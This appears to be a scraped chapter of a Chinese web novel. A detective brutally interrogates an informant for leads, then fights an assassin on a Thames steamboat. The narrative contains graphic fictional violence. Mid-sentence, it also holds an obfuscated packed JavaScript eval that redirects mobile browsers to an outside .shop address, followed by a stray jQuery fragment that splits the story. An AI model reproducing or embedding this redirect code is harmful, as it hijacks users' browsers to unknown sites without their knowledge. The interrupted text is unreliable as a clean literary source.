骨节断裂的声音兀然传来，在夜晚的寂静中清晰可闻。
库克发出牲畜被屠宰时的惨叫，向后踉跄。修罗可趁机挣脱束缚，一脚踢在他脸上。库克向后倒去，鼻梁骨折，满面鲜血。
另一个小工冲上来。修罗可抄起桌上的蜡烛，将满盏蜡油泼向他。对方丢掉棍棒，捂住眼睛，被修罗可一脚踢飞，撞到储物架上，各种杂物咕噜噜滚落一地。
另两人正准备冲上来，被滑落的六分仪绊倒，摔了个四脚朝天。
修罗可拿起棍棒，攻向最后面的一个小工。对方见战况不好，早已战战兢兢。修罗可的棍子还未挥到脸上，他就扑倒在地，哀求道：“您饶了我吧！”
修罗可有些心软。库克趁着空档，捂着鼻子，跌跌撞撞冲到门前。那小工虽然胆怯，但对库克有些忠心。他大叫一声，紧紧抱住修罗可双腿，不令他走。
修罗可心里着急，拔出手枪，一枪打在门框上。库克“噶的（god）”一声，好似头部中弹一般，跌倒在地。修罗可一脚踢翻小工，抓住库克的头发，将其拖到木屋中间的小桌旁。
“把土著人的信息原原本本告诉我，否则就别想从这里出去！”修罗可道。
库克没有说话，只是呜呜哀嚎。
修罗可无奈，猛然将库克的头砸向桌面。鲜血沾染了木桌板。库克双眼睁大，泪水顺着修罗可的指缝流下。
“还说不说？”
修罗可见库克的惨状，心中升起一阵怜悯。他并非嗜血之人，只是形势所迫，不得不动用私刑。
【对啊！就这么打他！给他点厉害瞧瞧！】
读者们的段评在眼前闪过。修罗可稍等片刻，见库克还不松口，就只能再砸下去。
“咚”的一声，库克身体瘫软，跪倒地上。旁边的小工们见修罗可出手狠辣，早已丢盔卸甲，在角落里蜷成一团。
再这样打下去的话，他会死吧？修罗可惊慌地想。
可读者想看，对方又不愿坦白，实在没有半途而废的道理。
修罗可狠心，将受伤的左手垫在库克面颊下，再次将他的面部砸向桌面。这一击贯穿桌板，库克失声尖叫，修罗可左手吃痛，将库克扔在地上。
对方双手抱头，发出粗重的喘息声。
“求你了......别打了......好先生，我说，我都说......”
修罗可坐在地上，摸着再次流血的左手，轻声道：
“你要是早点松口，何必遭这些罪。”
“我早就想说了！”库克泪眼汪汪，露出被打得七零八落的牙齿，“您左手抓着我下巴，我张不开嘴来！”
......
没办法，第一次私刑逼供，流程还不太熟练。
“那你现在交代吧。我保证不动你一根手指。”修罗可强行绷住，做出玩世不恭的表情。
“我是个走船的，消息比较灵通，后来就当上了情报贩子。邓肯教授在唯灵会中认识了我，他似乎很怕有人追杀他，定期来问我消息。我们一手交钱，一手交情报，一直相安无事。”
“就在前一阵，我打听到有一个印度土著人乘船来到英国。他行为乖张，一看就是个开化的野蛮人。我把这个消息告诉了邓肯教授，他吓得失神落魄，要求我继续提供相关线索，他会重金酬谢。我一开始以为是他神经过敏，没想到还真的有杀身之祸。”
“关于小黑人，你还有其他的信息吗？”修罗可说。
“那是另外的价格......诶诶诶，您别再打我了！我只知道他在伦敦边上，和我一个朋友打听消息，询问如何去米德尔塞克斯郡。朋友被他粗野的样子吓坏了，只给他指了个大概方向。”
“这是什么时候的事？”修罗可大喜过望。
“大概是前天？我估计他这副样子，不好租船，恐怕今明两天才能到。”
修罗可站起身，戴上礼帽，对着镜子整理仪容，保证自己恢复了风度翩翩的侦探模样。他将五英镑放在桌上。
“库克，收下这些钱，就当是情报报酬。给你和你的下属医好伤，以后别再干这行了，知道了吗？”
他翩然离去，只留下一屋鼻青脸肿的船工。
修罗可走到河边，找了一盏明亮的煤气灯，靠着灯杆疲惫地坐下。
“系统？”
“在的，宿主！”系统欢快地说道。修罗可不禁感叹，自己要是有它这样没心没肺就好了。
“帮我买两张战斗卡——我刚才把手头的都用完了，后面可能还有几场恶战。”修罗可道，“此外，你可以调出详细的英国地图吗？”
“当然了，宿主！”
一张淡银色的地图在眼前徐徐展开。修罗可躺在草地上，在漆黑夜空的衬托下，将上面的字符看得更清楚。
“放大米德尔塞克斯郡。”修罗可打了个哈欠。
地图瞬间扩张，村落和小镇的名字清晰可见。一个名为“森伯里”（Sunbury-on-Thames）的村庄引起了修罗可的注意。
“认识你自己”——这句话刻在阿波罗的神殿前。作为太阳神，阿波罗的神职和“Sunbury”的前半段呼应。而这座神庙在历史上被多次焚毁，又与“bury”的含义相关联。
修罗可打开唯灵会交给他的名册。他将目光聚焦在一个叫焦尔·欧文的男人上。
此人不仅与邓肯交好，还正好住在森伯里村，两人经常去欧文的乡下豪宅叙旧。更为关键的是，欧文曾在印度服役，担任中校职务，因善于狩猎而小有名气。
他很可能就是邓肯暗示的人，也是小黑人的下一个目标。
他太累了，自从那封神秘的威胁信寄来后，他几乎两天没合眼。
或许应该让苏格兰场代班了，自己回到舒适的小屋内，好好睡上一觉。
但修罗可很快打消了这个主意。这是一场生死竞速。苏格兰场需要时间来调动、做出反应。
他是离真相最近的人，也只能由他冲在第一线。
修罗可走到附近的邮局，叫醒气急败坏的工作人员，对墨菲和雷斯垂德各发了一封电报，简单说明了情况和自己的去向。
然后，他简单包扎伤口，孤身走向码头。
半小时后，修罗可坐在一艘汽船上，顺泰晤士河赶往森伯里村。月亮已经西沉，平静的河面没有其他船只，只能看到水波中翻滚的银光。
“我们还有多久能到呢？”修罗可靠在船尾，望着船头的两个小工。
他在码头上找了一圈，没有其他营业的船家，只能再次找到库克。对方对修罗可的去而复返吓破了胆，利索地帮他安排了一艘船。
“快的话，大约3小时。”一个小工怯生生地答道。
修罗可计算了一下，他在清晨降临
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17972019|214683||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
前可以抵达欧文的住处，对他发出警告，或者，为他收尸。
他太困倦了，真想倒头就睡，可他信不过船上的两个帮工。更何况，他还要为这次拜访想好开场白。
修罗可宁愿再和一屋人打一场，也不愿意和陌生人谈话。
忽然，船侧掀起巨大的浪花，冰冷刺骨的河水泼到甲板上。修罗可半身湿透，本来昏沉的意识忽然变得清醒。两个小工在船头骂骂咧咧：
“什么人这么开船？不要命了？”
修罗可举目望去，借着黯淡的月光，看到一艘船正赶在他们前面。船开得颠簸不定，掌舵人似乎是个新手。
突然，一个矮小的轮廓在船的前侧展现出来，令修罗可冷汗直冒。那是一个身材矮小的人，披着一件单薄的毯子。他头部畸大，一头凌乱的卷发，正在控制船舵。
是小黑人！
修罗可一跃而起，冲到船头。“追上去！”他对两个小工喊道。
“为什么？”两人惊慌失措。
修罗可掏出手枪，“你们别管，先追！”
一个小工拼命地往锅炉里加炭，轮机被巨大的力量驱使，发出骇人的轰隆声。修罗可所在的船破开波涛，向着前面飞速追去。
小黑人意识到了有追兵，但他驾船不熟练，不仅没能让船开快，反而让其横在河面上。修罗可的船躲闪不及，拦腰撞上。
两艘船船身震颤，四个人都摔倒在地。小黑人率先爬起，怒视着修罗可。他黑色的眼睛中射出阵阵凶光，用听不懂的异国语言尖声咒骂，如同热带草原上愤怒的猛兽。
修罗可瞄准小黑人，扣动扳机。对方一扭腰，躲在了锅炉后。子弹打在铁皮上，蹭出道道火花。转眼之间，小黑人就已不见踪影，只听到短促的脚步声。
修罗可身后的两个小工尖叫一声，纷纷跳水逃跑。
趁着修罗可分神，小黑人从轮机旁冒出头，将一根毒刺射向修罗可。后者躲闪不及，毒刺击中胸口，挂在贴身衬衣上。
趁此机会，小黑人从甲板上跳过来，狠狠扑向修罗可。修罗可被扑倒在地，手枪脱手，“铛”的一声摔在船舵旁。
小黑人拔出一把印度弯刀，对着修罗可的面部刺下。修罗可扼住对方的手腕，并一拳打向他的面部。对方吃痛跃起，修罗可站起身来，冲向船舵，抓起手枪。
他转过身去，正看到小黑人站在轮机上，手持弯刀，居高临下地向他跳劈——
修罗可心跳加速，立刻扣动扳机。两颗子弹射出，击中了小黑人的右肩。对方吃痛尖叫，落到水中，瞬间就不见了踪影。
修罗可仰躺在甲板上，大口喘息。此时太阳从东边升起，温暖的晨曦照在他脸上。
小黑人会如同《四签名》一样，命丧河中吗？还是他已经趁机逃走？
不管哪种情况，小黑人应该都难以继续行动。修罗可成功拯救了欧文中校。
胸口忽然传来痛感。修罗可这才想起来应该检查伤势，立刻解开衬衫。那枚小小的毒刺虽然没有刺穿衬衫，但仍划破了他的皮肤。
该死！修罗可爬向船舵，试图将驶向岸边。
忽然，强烈的困意控制了他，仿佛要求他补偿这两天缺乏的睡眠。
修罗可双眼发黑，瘫倒在地。手枪离手，滑在一边。
无人驾驶的汽船在河中央茫然地漂泊着，宛若失去母亲的孩子。